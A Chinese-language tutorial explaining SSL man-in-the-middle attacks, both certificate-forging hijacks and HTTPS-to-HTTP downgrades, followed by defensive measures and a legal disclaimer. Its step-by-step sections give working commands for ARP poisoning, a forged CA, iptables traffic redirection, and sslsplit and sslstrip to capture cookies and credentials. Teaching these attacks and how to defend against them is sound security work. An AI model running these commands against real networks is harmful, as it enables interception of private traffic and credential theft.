MITM——SSL篇
字数 1476 2025-08-18 11:38:41
SSL中间人攻击技术详解:SSL劫持与SSL降级攻击
1. SSL中间人攻击概述
SSL中间人攻击(MITM)是指攻击者通过技术手段将自己置于客户端与服务器之间,拦截并可能修改双方的通信内容。本文主要介绍两种SSL中间人攻击技术:SSL劫持和SSL降级攻击。
2. SSL劫持攻击
2.1 攻击原理
SSL中间人劫持是指攻击者首先通过ARP欺骗、DNS劫持甚至网关劫持等手段,将客户端的访问重定向到攻击者的机器,使客户端与攻击者机器建立HTTPS连接(使用伪造证书),而攻击者机器再与真实服务端建立连接。
关键点:
- 攻击者使用伪造的证书
- 浏览器会提示证书认证失败
- 依赖用户忽略安全警告继续访问
2.2 实战步骤:使用sslsplit进行SSL劫持
2.2.1 建立中间人环境
首先进行ARP投毒(可使用ettercap或arpspoof工具):
arpspoof -i eth0 -t 目标IP 网关IP
2.2.2 伪造证书
使用OpenSSL生成证书私钥和根证书:
openssl genrsa -out ca.key 1024
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
2.2.3 配置网络转发
启用IP转发并设置iptables规则:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -F # 清除nat表规则
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -L # 查看规则是否生效
可添加其他端口规则:
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080
2.2.4 启动sslsplit
创建日志目录并启动sslsplit:
mkdir /tmp/sslsplit
sslsplit -D -l connections.log -j /tmp/sslsplit -S /tmp/sslsplit -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
2.2.5 结果分析
- 捕获的SSL加密会话会存储在/tmp/sslsplit目录
- 日志中可能包含明文信息(如cookie)
- 大量数据可能显示为乱码,取决于原始数据是否加密
局限性:
- 浏览器会显示证书警告
- 需要用户主动忽略警告继续访问
- 用户体验较差,容易被发现
3. SSL降级攻击
3.1 攻击原理
SSL降级攻击利用以下漏洞:
- 用户不总是直接输入https://访问网站
- 部分网站并非全网HTTPS,只在敏感数据传输时使用HTTPS
攻击方式:
- 将HTTPS页面中的所有
https://超链接替换为http:// - 用户点击链接时使用HTTP协议访问
- 中间人可建立HTTPS连接与服务器通信,同时用HTTP与客户端通信
优势:
- 不会触发浏览器证书警告
- 用户很少注意URL协议变化
- 在App WebView中更难被发现(URL常被隐藏)
3.2 实战步骤:使用sslstrip进行SSL降级
3.2.1 启用端口转发
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 6666
3.2.2 启动sslstrip
sslstrip -l 6666
3.2.3 清除规则(可选)
iptables -t nat -F # 清除nat表规则
iptables -t nat -L # 查看规则是否生效
3.2.4 结果分析
- 成功将HTTPS连接降级为HTTP
- 可捕获明文传输的敏感数据(如登录凭证)
- 用户端无明显异常提示
局限性:
- 仅对支持HTTP的网站有效
- 若用户直接访问HTTPS URL则无法降级
4. 防御措施
4.1 针对SSL劫持
- 用户教育:不忽略浏览器证书警告
- 使用HSTS(HTTP Strict Transport Security)头
- 证书固定(Certificate Pinning)
- 使用EV证书(绿色地址栏)
4.2 针对SSL降级
- 网站实施全站HTTPS
- 使用HSTS头并包含preload指令
- 在网页中使用安全cookie标记(Secure flag)
- 表单提交强制使用HTTPS
5. 工具总结
| 工具 | 用途 | 攻击类型 | 特点 |
|---|---|---|---|
| sslsplit | SSL中间人代理 | SSL劫持 | 需要伪造证书,触发警告 |
| sslstrip | HTTPS降级为HTTP | SSL降级 | 无证书警告,依赖HTTP支持 |
6. 法律与道德声明
本文所述技术仅用于教育目的和安全研究。未经授权对他人网络进行中间人攻击是违法行为。安全研究人员应在合法授权范围内进行测试。